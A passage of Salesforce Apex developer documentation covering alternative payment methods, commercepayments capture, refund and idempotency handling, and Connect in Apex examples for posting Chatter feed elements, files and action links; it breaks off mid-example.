`AlternativePaymentMethod` has the private sharing model enabled as default for both internal and external users. Only the record owner and users with higher ownership have Read, Edit, and Delete access.

EDITIONS

Available in: Salesforce
Spring '21 and later



Example: Let's say you wanted to make an alternative payment method for GiroPay. First, create an `AlternativePaymentMethod` record type.

New RecordType

```
/services/data/v51.0/objects/RecordType

{
  "Name" : "Giro Pay",
  "DeveloperName" : "GiroPay",
  "SubjectType" : "AlternativePaymentMethod"
}
```

Next, create an alternative payment method record for the `AlternativePaymentMethod` record type.

New AlternativePaymentMethod

```
/services/data/v51.0/objects/AlternativePaymentMethod

{
  "ProcessingMode": "External",
  "status": "Active",
  "GatewayToken": "mHkDsh0oIA3mnWjo9UL",
  "NickName" : "MyGiroPay",
  "RecordTypeId" : "{record_type_id}"
}
```

You can also create a gateway provider payment method type.

New GtwyProvPaymentMethodType

```
{
  "PaymentGatewayProviderId": "XXXXXXXXXXXXXXXX",
  "PaymentMethodType": "AlternativePaymentMethod",
  "GtwyProviderPaymentMethodType" : "PM_Giro",
  "DeveloperName" : "DevName",
  "MasterLabel" : "MasterLabel",
  "RecordTypeId" : "{record_type_id}"
}
```

Process Payments

Process a payment in the payment gateway.

To access `commercepayments` API, you need the `PaymentPlatform` org permission.

1. Get the payment capture request object from the `PaymentGatewayContext` Class.

EDITIONS

Available in: Salesforce
Spring '20

```
commercepayments.CaptureRequest =
(commercepayments.CaptureRequest) gatewayContext.getPaymentRequest ()
```

2. Set the HTTP request object.

```
HttpRequest req = new HttpRequest();
req.setHeader('Content-Type', 'application/json');
```

3. Read the parameters from the `CaptureRequest` object and prepare the HTTP request body.
4. Make the HTTP call to the gateway using the `PaymentsHttp Class`.

```
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = http.send(req);
```

5. Parse the `HttpResponse` and prepare the `CaptureResponse` object.

```
commercepayments.CaptureResponse captureResponse = new commercepayments.CaptureResponse();
captureResponse.setGatewayResultCode("");
captureResponse.setGatewayResultCodeDescription("");
captureResponse.setGatewayReferenceNumber("");
captureResponse.setSalesforceResultCodeInfo(getSalesforceResultCodeInfo(commercepayments.SalesforceResultCode.SUCCESS.name()));

captureResponse.setGatewayReferenceDetails("");
captureResponse.setAmount(double.valueOf(100));
```

6. Return the `captureResponse`.

Process Refund

Process a refund in the payment gateway.

To access the `commercepayments` API, you need the `PaymentPlatform org` permission.

1. Get the referenced refund request object from the `PaymentGatewayContext Class`.

```
commercepayments.ReferencedRefundRequest =
(commercepayments.ReferencedRefundRequest) gatewayContext.getPaymentRequest();
```

2. Set the HTTP request object.

```
HttpRequest req = new HttpRequest();
req.setHeader('Content-Type', 'application/json');
```

3. Read the parameters from the `ReferencedRefundRequest` object and prepare the HTTP request body.
4. Make the HTTP call to the gateway using the `PaymentsHttp Class`.

```
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = http.send(req);
```

5. Parse the `HttpResponse` and prepare the `ReferencedRefundResponse` object.

```
commercepayments.ReferencedRefundResponse referencedRefundResponse = new
commercepayments.ReferencedRefundResponse();
referencedRefundResponse.setGatewayResultCode("");
referencedRefundResponse.setGatewayResultCodeDescription("");
referencedRefundResponse.setGatewayReferenceNumber("");
```

EDITIONS

Available in: Salesforce
Spring '20


```
referencedRefundResponse.setSalesforceResultCodeInfo(getSalesforceResultCodeInfo(commercepayments.SalesforceResultCode.SUCCESS.name()));

referencedRefundResponse.setGatewayReferenceDetails("");
referencedRefundResponse.setAmount(double.valueOf(100));
```

6. Return the `referencedRefundResponse`.

Idempotency Guidelines

Idempotency represents the ability of a payment gateway to recognize duplicate requests submitted either in error or maliciously, and then process the duplicate requests accordingly. When working with an idempotent gateway, consider these important guidelines.

To access the `commercepayments` API, you need the `PaymentPlatform org` permission.

The payment gateway adapter class is linked to a `paymentGatewayProvider` object record. CCS Payments provides its own layer of idempotency for its own service request. Each payment gateway can also specify their `idempotencySupported` value in the `paymentGatewayProvider` object record. If Salesforce CCS Payment APIs detects a duplicate request and the gateway provider supports idempotency, the request body's `duplicate` parameter becomes `True`.

```
commercepayments.CaptureRequest request =
    (commercepayments.CaptureRequest)paymentGatewayContext.getPaymentRequest();
Boolean isDuplicate = requestObject.duplicate
```

The idempotency key can be fetched from the request object.

```
String idempotencyKey = request.idempotencyKey
```

EDITIONS

Available in: Salesforce
Spring '20

Sample Payment Gateway Implementation for CommercePayments

We've created a GitHub repository containing code samples for a sample Payeezy payment gateway implementation with the `CommercePayments` namespace. Review the sample code if you need help with configuring your payment gateway implementation.

Review our code samples in the [CommercePayments Gateway Reference Implementation for Payeezy](#) repository.

Connect in Apex

Use Connect in Apex to develop custom experiences in Salesforce. Connect in Apex provides programmatic access to B2B Commerce, CMS managed content, Experience Cloud sites, topics, and more. Create Apex pages that display Chatter feeds, post feed items with mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.

Many Connect REST API resource actions are exposed as static methods on Apex classes in the `ConnectApi` namespace. These methods use other `ConnectApi` classes to input and return information. The `ConnectApi` namespace is referred to as *Connect in Apex*.

In Apex, you can access some Connect data using SOQL queries and objects. However, it's simpler to expose data in `ConnectApi` classes, and data is localized and structured for display. For example, instead of making several calls to access and assemble a feed, you can do it with a single call.

Connect in Apex methods execute in the context of the user executing the methods. The code has access to whatever the context user has access to. It doesn't run in system mode.

For Connect in Apex reference information, see [ConnectApi Namespace](#).

[Connect in Apex Examples](#)

Use these examples to perform common tasks with Connect in Apex.

[Connect in Apex Features](#)

This topic describes which classes and methods to use to work with common Connect in Apex features.

[Using ConnectApi Input and Output Classes](#)

Some classes in the `ConnectApi` namespace contain static methods that access Connect REST API data. The `ConnectApi` namespace also contains input classes to pass as parameters and output classes that calls to the static methods return.

[Understanding Limits for ConnectApi Classes](#)

Limits for methods in the `ConnectApi` namespace are different than the limits for other Apex classes.

[Packaging ConnectApi Classes](#)

If you include `ConnectApi` classes in a package, be aware of Chatter dependencies.

[Serializing and Deserializing ConnectApi Objects](#)

When `ConnectApi` output objects are serialized into JSON, the structure is similar to the JSON returned from Connect REST API. When `ConnectApi` input objects are deserialized from JSON, the format is also similar to Connect REST API.

[ConnectApi Versioning and Equality Checking](#)

Versioning in `ConnectApi` classes follows specific rules that are different than the rules for other Apex classes.

[Casting ConnectApi Objects](#)

It may be useful to downcast some `ConnectApi` output objects to a more specific type.

[Wildcards](#)

Use wildcard characters to match text patterns in Connect REST API and Connect in Apex searches.

[Testing ConnectApi Code](#)

Like all Apex code, Connect in Apex code requires test coverage.

[Differences Between ConnectApi Classes and Other Apex Classes](#)

Note these additional differences between `ConnectApi` classes and other Apex classes.

Connect in Apex Examples

Use these examples to perform common tasks with Connect in Apex.

[Get Feed Elements From a Feed](#)

Call a method to get feed elements from a feed.

[Get Feed Elements From Another User's Feed](#)

Call a method to get feed elements from another user's feed.

[Get Site-Specific Feed Elements from a Feed](#)

Call a method to display a user profile feed that contains only feed elements that are scoped to a specific Experience Cloud site.

[Post a Feed Element](#)

Make a call to post a feed element.

[Post a Feed Element with a Mention](#)

Call a method or use the `ConnectApiHelper` repository to post a feed.

[Post a Feed Element with Existing Files](#)

Call a method to post a feed element with already uploaded files.

[Post a Rich-Text Feed Element with Inline Image](#)

Call a method or use the ConnectApiHelper repository to post a feed element with an already uploaded, inline image.

[Post a Rich-Text Feed Element with a Code Block](#)

Call a method to post a feed element with a code block.

[Post a Feed Element with a New File \(Binary\) Attachment](#)

Call a method to post a feed element with a new file.

[Post a Batch of Feed Elements](#)

Use a trigger to call a method to bulk post to the feeds of accounts.

[Post a Batch of Feed Elements with a New \(Binary\) File](#)

Use a trigger to call a method to bulk post a new file to the feeds of accounts.

[Define an Action Link and Post with a Feed Element](#)

Create one action link in an action link group, associate the action link group with a feed item, and post the feed item.

[Define an Action Link in a Template and Post with a Feed Element](#)

Create an action link and action link group and instantiate the action link group from a template.

[Edit a Feed Element](#)

Call a method to edit a feed element.

[Edit a Question Title and Post](#)

Call a method to edit a question title and post.

[Like a Feed Element](#)

Call a method to like a feed element.

[Bookmark a Feed Element](#)

Call a method to bookmark a feed element.

[Share a Feed Element \(prior to Version 39.0\)](#)

Call a method to share a feed element.

[Share a Feed Element \(in Version 39.0 and Later\)](#)

Call a method to share a feed element.

[Send a Direct Message](#)

Call a method to send a direct message.

[Post a Comment](#)

Call a method to post a comment.

[Post a Comment with a Mention](#)

Make call or use the ConnectApiHelper repository to post a comment with a mention.

[Post a Comment with an Existing File](#)

Make a call to post a comment with an already uploaded file.

[Post a Comment with a New File](#)

Call a method to post a comment with a new file.

[Post a Rich-Text Comment with Inline Image](#)

Make a call or use the ConnectApiHelper repository to post a comment with an already uploaded, inline image.

[Post a Rich-Text Feed Comment with a Code Block](#)

Call a method to post a comment with a code block.

[Edit a Comment](#)

Call a method to edit a comment.

[Follow a Record](#)

Call a method to follow a record.

[Unfollow a Record](#)

Call a method to stop following a record.

[Get a Repository](#)

Call a method to get a repository.

[Get Repositories](#)

Call a method to get all repositories.

[Get Allowed Item Types](#)

Call a method to get allowed item types.

[Get Previews](#)

Call a method to get all supported preview formats and their respective URLs.

[Get a File Preview](#)

Call a method to get a file preview.

[Get Repository Folder Items](#)

Call a method to get a collection of repository folder items.

[Get a Repository Folder](#)

Call a method to get a repository folder.

[Get a Repository File Without Permissions Information](#)

Call a method to get a repository file without permission information.

[Get a Repository File with Permissions Information](#)

Call a method to get a repository file with permission information.

[Create a Repository File Without Content \(Metadata Only\)](#)

Call a method to create a file without binary content (metadata only) in a Google Drive repository folder.

[Create a Repository File with Content](#)

Call a method to create a file with binary content in a Google Drive repository folder.

[Update a Repository File Without Content \(Metadata Only\)](#)

Call a method to update the metadata of a repository file.

[Update a Repository File with Content](#)

Call a method to update a repository file with content.

[Get an Authentication URL](#)

Call a method to get an authentication URL.

[Resolve a Prompt Template](#)

Call a method to resolve a prompt template.

[Create a Cart and Cart Item with Custom Fields in a Commerce Store](#)

Create a cart with a cart item using custom fields for a buyer or guest user in your Commerce store.

Get Feed Elements From a Feed

Call a method to get feed elements from a feed.

Call `getFeedElementsFromFeed(communityId, feedType, subjectId)` to get the first page of feed elements from the context user's news feed.

```
ConnectApi.FeedElementPage fep =  
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),  
ConnectApi.FeedType.News, 'me');
```

The `getFeedElementsFromFeed` method is overloaded, which means that the method name has many different signatures. A signature is the name of the method and its parameters in order.

Each signature lets you send different inputs. For example, one signature may specify the feed type and the subject ID. Another signature could have those parameters and an additional parameter to specify the maximum number of comments to return for each feed element.

 **Tip:** Each signature operates on certain feed types. Use the signatures that operate on the `ConnectApi.FeedType.Record` to get group feeds, since a group is a record type.

SEE ALSO:

[Apex Reference Guide: ChatterFeeds Class](#)

Get Feed Elements From Another User's Feed

Call a method to get feed elements from another user's feed.

Call `getFeedElementsFromFeed(communityId, feedType, subjectId)` to get the first page of feed elements from another user's feed.

```
ConnectApi.FeedElementPage fep =  
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),  
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
```

This example calls the same method to get the first page of feed elements from another user's record feed.

```
ConnectApi.FeedElementPage fep =  
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),  
ConnectApi.FeedType.Record, '005R0000000HwMA');
```

The `getFeedElementsFromFeed` method is overloaded, which means that the method name has many different signatures. A signature is the name of the method and its parameters in order.

Each signature lets you send different inputs. For example, one signature can specify the feed type and the subject ID. Another signature could have those parameters and an extra parameter to specify the maximum number of comments to return for each feed element.

Get Site-Specific Feed Elements from a Feed

Call a method to display a user profile feed that contains only feed elements that are scoped to a specific Experience Cloud site.

Feed elements that have a User or a Group parent record are scoped to sites. Feed elements whose parents are record types other than User or Group are always visible in all sites. Other parent record types could be scoped to sites in the future.

This example calls `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter)` to get only site-specific feed elements.

```
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
```

Post a Feed Element

Make a call to post a feed element.

Call `postFeedElement(communityId, subjectId, feedElementType, text)` to post a string of text.

```
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
```

The second parameter, `subjectId` is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or record, or the string `me` to indicate the context user.

Post a Feed Element with a Mention

Call a method or use the `ConnectApiHelper` repository to post a feed.

You can post feed elements with mentions two ways. Use the [ConnectApiHelper repository on GitHub](#) to write a single line of code, or use this example, which calls `postFeedElement(communityId, feedElement)`.

```
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);

textSegmentInput.text = 'Could you take a look?';
messageBodyInput.messageSegments.add(textSegmentInput);

feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';

ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

Post a Feed Element with Existing Files

Call a method to post a feed element with already uploaded files.

Call `postFeedElement(communityId, feedElement)` to post a feed item with files that have already been uploaded.

```
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
```

```

feedItemInput.subjectId = 'me';

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Would you please review these docs?';

// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a files capability to hold the file(s).

List<String> fileIds = new List<String>();
fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');

ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();
filesInput.items = new List<ConnectApi.FileIdInput>();

for (String fileId : fileIds) {
    ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
    idInput.id = fileId;
    filesInput.items.add(idInput);
}

ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.files = filesInput;

feedItemInput.capabilities = feedElementCapabilitiesInput;

// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

```

Post a Rich-Text Feed Element with Inline Image

Call a method or use the `ConnectApiHelper` repository to post a feed element with an already uploaded, inline image.

You can post rich-text feed elements with inline images and mentions two ways. Use the [ConnectApiHelper repository on GitHub](#) to write a single line of code, or use this example, which calls `postFeedElement(commUNITYId, feedElement)`. In this example, the image file is existing content that has already been uploaded to Salesforce as a content document (069). The post also includes text and a mention.

```

String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();

```

```
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;

ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);

mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);

inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);

input.body = messageInput;

ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
```

SEE ALSO:

[Apex Reference Guide: ConnectApi.MarkupBeginSegmentInput](#)

[Apex Reference Guide: ConnectApi.MarkupEndSegmentInput](#)

[Apex Reference Guide: ConnectApi.InlineImageSegmentInput](#)

Post a Rich-Text Feed Element with a Code Block

Call a method to post a feed element with a code block.

Call `postFeedElement(communityId, feedElement)` to post a feed item with a code block.

```
String communityId = null;
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;

ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);

input.body = messageInput;

ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
```

SEE ALSO:

[Apex Reference Guide: ConnectApi.MarkupBeginSegmentInput](#)

[Apex Reference Guide: ConnectApi.MarkupEndSegmentInput](#)

Post a Feed Element with a New File (Binary) Attachment

Call a method to post a feed element with a new file.



Important: In version 36.0 and later, you can't post a feed element with a new file in the same call. Upload files to Salesforce first, and then specify existing files when posting a feed element.

This example calls `postFeedElement(communityId, feedElement, feedElementFileUpload)` to post a feed item with a new file (binary) attachment.

```
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';

ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';

ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
```

```
capabilities.content = contentInput;

input.capabilities = capabilities;

String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');

ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
```

Post a Batch of Feed Elements

Use a trigger to call a method to bulk post to the feeds of accounts.

This trigger calls `postFeedElementBatch(communitiyId, feedElements)` to bulk post to the feeds of newly inserted accounts.

```
trigger postFeedItemToAccount on Account (after insert) {
    Account[] accounts = Trigger.new;

    // Bulk post to the account feeds.

    List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();

    for (Account a : accounts) {
        ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();

        input.subjectId = a.id;

        ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
        body.messageSegments = new List<ConnectApi.MessageSegmentInput>();

        ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
        textSegment.text = 'Let\'s win the ' + a.name + ' account.';

        body.messageSegments.add(textSegment);
        input.body = body;

        ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
        batchInputs.add(batchInput);
    }

    ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
```

Post a Batch of Feed Elements with a New (Binary) File

Use a trigger to call a method to bulk post a new file to the feeds of accounts.



Important: This example is valid in version 32.0–35.0. In version 36.0 and later, you can't post a batch of feed elements with a new file in the same call. Upload the file to Salesforce first, and then specify the uploaded file when posting a batch of feed elements.

This trigger calls `postFeedElementBatch` (`communityId`, `feedElements`) to bulk post to the feeds of newly inserted accounts. Each post has a new file (binary) attachment.

```
trigger postFeedItemToAccountWithBinary on Account (after insert) {
    Account[] accounts = Trigger.new;

    // Bulk post to the account feeds.

    List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();

    for (Account a : accounts) {
        ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();

        input.subjectId = a.id;

        ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
        body.messageSegments = new List<ConnectApi.MessageSegmentInput>();

        ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
        textSegment.text = 'Let\'s win the ' + a.name + ' account.';

        body.messageSegments.add(textSegment);
        input.body = body;

        ConnectApi.ContentCapabilityInput contentInput = new
ConnectApi.ContentCapabilityInput();
        contentInput.title = 'Title';

        ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
        capabilities.content = contentInput;

        input.capabilities = capabilities;

        String text = 'We are words in a file.';
        Blob myBlob = Blob.valueOf(text);
        ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');


        ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input, binInput);

        batchInputs.add(batchInput);
    }


    ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
```

Define an Action Link and Post with a Feed Element


Create one action link in an action link group, associate the action link group with a feed item, and post the feed item.



When a user clicks the action link, the action link requests the Connect REST API resource `/chatter/feed-elements`, which posts a feed item to the user's feed. After the user clicks the action link and it executes successfully, its status changes to successful and the feed item UI is updated.



Refresh the user's feed to see the new post.



This simple example shows you how to use action links to call a Salesforce resource.

Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (`labelKey`). An action link group definition also includes other properties like a URL (`actionUrl`), an HTTP method (`method`), and an optional request body (`requestBody`) and HTTP headers (`headers`).

When a user clicks this action link, an HTTP POST request is made to a Connect REST API resource, which posts a feed item to Chatter. The `requestBody` property holds the request body for the `actionUrl` resource, including the text of the new feed item. In this example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action links.

Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are mutually exclusive (you can click only one action link within a group). Even if you define only one action link, it must be part of an action link group.

This example calls `ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)` to create an action link group definition.

It saves the action link group ID from that call and associates it with a feed element in a call to `ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement)`.

To use this code, substitute an OAuth value for your own Salesforce org. Also, verify that the `expirationDate` is in the future. Look for the "To Do" comments in the code.

```
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
```

```

ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();

// Create the action link group definition.
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;

// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{"subjectId": "me", "feedElementType":
"FeedItem", "body": {"messageSegments": [{"type": "Text", "text": "This is a
test post created via an API action link."}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;

// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQcwoeV0zzAV847FT14zF.85w.EwsPbUgXR4SAjSp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);

requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);

// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';

```

```
// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);

// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
// definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);

// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

 **Note:** If the post fails, check the OAuth ID.

Define an Action Link in a Template and Post with a Feed Element

Create an action link and action link group and instantiate the action link group from a template.

This example creates the same action link and action link group as the example [Define an Action Link and Post with a Feed Element](#), but this example instantiates the action link group from a template.

Step 1: Create the Action Link Templates

1. From Setup, enter *Action Link Templates* in the Quick Find box, then select **Action Link Templates**.
2. Use these values in a new Action Link Group Template:

Field	Value
Name	Doc Example
Developer Name	Doc_Example
Category	Primary action
Executions Allowed	Once per User

3. Use these values in a new Action Link Template:

Field	Value
Action Link Group Template	Doc Example
Action Type	Api
Action URL	/services/data/{!Bindings.ApiVersion}/chatter/feed-elements

Field	Value
User Visibility	Everyone can see
HTTP Request Body	{ "subjectId": "{!Bindings.SubjectId}", "feedElementType": "FeedItem", "body": { "messageSegments": [{ "type": "Text", "text": "{!Bindings.Text}" }] } }
HTTP Headers	Content-Type: application/json
Position	0
Label Key	Post
HTTP Method	POST

- Go back to the Action Link Group Template and select **Published**. Click **Save**.

Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it

This example calls `ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)` to create an action link group definition.

It calls `ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement)` to associate the action link group with a feed item and post it.

```
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];

// Add binding name-value pairs to a map.
// The names are defined in the action link template(s) associated with the action link
// group template.
// Get them from Setup UI or SOQL.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
```

```
bindingMap.put('SubjectId', 'me');
```

```
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
    ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
